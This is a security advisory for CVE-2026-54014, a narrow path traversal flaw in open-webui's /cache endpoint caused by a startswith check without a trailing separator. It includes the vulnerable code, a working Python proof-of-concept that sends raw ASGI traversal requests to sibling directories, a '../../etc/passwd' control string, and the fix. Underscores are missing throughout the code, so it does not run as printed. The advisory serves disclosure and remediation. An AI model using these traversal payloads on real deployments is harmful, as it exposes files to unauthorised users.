PT-2026-50486 · Pypi · Open-Webui

Publicado

2026-06-17

·

Atualizado

2026-06-17

·

CVE-2026-54014

CVSS v3.1

4.3

Média

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.
The root cause is that serve cache file() in open webui/main.py validates the resolved path with file path.startswith(os.path.abspath(CACHE DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache sibling, cache backup, cached models) to pass validation.
Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

ConstraintDetail
Auth requiredget verified user — any user with role user or admin
ScopeOnly sibling directories starting with cache (e.g. cache backup, cached models)
Deep traversalBlocked — ../../etc/passwd correctly fails the startswith check
Absolute pathsBlocked — /etc/passwd correctly fails
Client normalizationhttpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: serve cache file()

python
# open webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve cache file(path: str, user=Depends(get verified user)):
  file path = os.path.abspath(os.path.join(CACHE DIR, path))
  # prevent path traversal
  if not file path.startswith(os.path.abspath(CACHE DIR)):  # ← BUG: no trailing os.sep
    raise HTTPException(status code=404, detail='File not found')
  if not os.path.isfile(file path):
    raise HTTPException(status code=404, detail='File not found')
  return FileResponse(file path, headers=headers)

The bypass

python
CACHE DIR = "/data/cache"

# Attacker path: "../cache sibling/secret.txt"
file path = os.path.abspath(os.path.join("/data/cache", "../cache sibling/secret.txt"))
# → "/data/cache sibling/secret.txt"

"/data/cache sibling/secret.txt".startswith("/data/cache")
# → True ← BYPASS (because "cache sibling" starts with "cache")

# Correct check would be:
"/data/cache sibling/secret.txt".startswith("/data/cache/")
# → False ← BLOCKED

Proof of Concept

Environment

ComponentDetail
open-webui0.9.5 (pip installed)
Python3.11
Importfrom open webui.main import app (true import, real FastAPI app)
MethodRaw ASGI request (bypasses httpx client-side .. normalization)

poc.py

python

import asyncio
import os
import shutil
import sys
import tempfile
TEMP DATA = tempfile.mkdtemp(prefix="owui poc ")
os.environ["DATA DIR"] = TEMP DATA
os.environ["WEBUI SECRET KEY"] = "poc secret key 12345"
os.environ["WEBUI AUTH"] = "false"
CACHE DIR = os.path.join(TEMP DATA, "cache")
SIBLING DIR = os.path.join(TEMP DATA, "cache sibling")
os.makedirs(CACHE DIR, exist ok=True)
os.makedirs(SIBLING DIR, exist ok=True)

SECRET CONTENT = "STOLEN FROM SIBLING DIR"
with open(os.path.join(SIBLING DIR, "secret.txt"), "w") as f:
  f.write(SECRET CONTENT)
with open(os.path.join(CACHE DIR, "legit.txt"), "w") as f:
  f.write("legitimate cache file")
from open webui.main import app
from open webui.utils.auth import get verified user
class FakeUser:
  id = "poc"
  email = "poc@test"
  role = "user"

app.dependency overrides[get verified user] = lambda: FakeUser()
async def raw asgi get(app, path):
  """Send a raw ASGI request without client-side path normalization."""
  scope = {
    "type": "http",
    "method": "GET",
    "path": path,
    "query string": b"",
    "headers": [(b"host", b"localhost")],
    "root path": "",
    "asgi": {"version": "3.0"},
  }
  response started = False
  status code = None
  body parts = []

  async def receive():
    return {"type": "http.request", "body": b""}

  async def send(message):
    nonlocal response started, status code
    if message["type"] == "http.response.start":
      response started = True
      status code = message["status"]
    elif message["type"] == "http.response.body":
      body parts.append(message.get("body", b""))

  await app(scope, receive, send)
  return status code, b"".join(body parts)


async def main():
  s1, b1 = await raw asgi get(app, "/cache/legit.txt")
  s2, b2 = await raw asgi get(app, "/cache/../cache sibling/secret.txt")
  s3, b3 = await raw asgi get(app, "/cache/../../etc/passwd")

  baseline ok = s1 == 200 and b"legitimate cache file" in b1
  exploit ok = s2 == 200 and SECRET CONTENT.encode() in b2
  deep blocked = s3 == 404

  print(f"package:   open webui (pip installed)")
  print(f"version:   0.9.5")
  print(f"function:  serve cache file (GET /cache/{{path}})")
  print(f"sink:    main.py:2914 file path.startswith(os.path.abspath(CACHE DIR))")
  print(f"bypass:   startswith without trailing os.sep allows sibling-prefix match")
  print()
  print(f"CACHE DIR:  {CACHE DIR}")
  print(f"SIBLING:   {SIBLING DIR}")
  print()
  print(f"[baseline] /cache/legit.txt      status={s1} body={b1[:40]!r}")
  print(f"[exploit] /cache/../cache sibling/secret.txt status={s2} body={b2[:40]!r}")
  print(f"[control] /cache/../../etc/passwd   status={s3} (should be 404)")
  print()
  print(f"result:   {'VULNERABLE' if exploit ok and baseline ok and deep blocked else 'NOT CONFIRMED'}")

  shutil.rmtree(TEMP DATA, ignore errors=True)
  sys.exit(0 if exploit ok else 1)


if  name  == " main ":
  asyncio.run(main())

PoC output

image

Suggested Fix

python
if not file path.startswith(os.path.abspath(CACHE DIR) + os.sep):
  raise HTTPException(status code=404, detail='File not found')
Single character fix: append os.sep to the prefix in the startswith check.

Correção

Path traversal

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54014
GHSA-J2C8-V969-8R5C

Produtos afetados

Open-Webui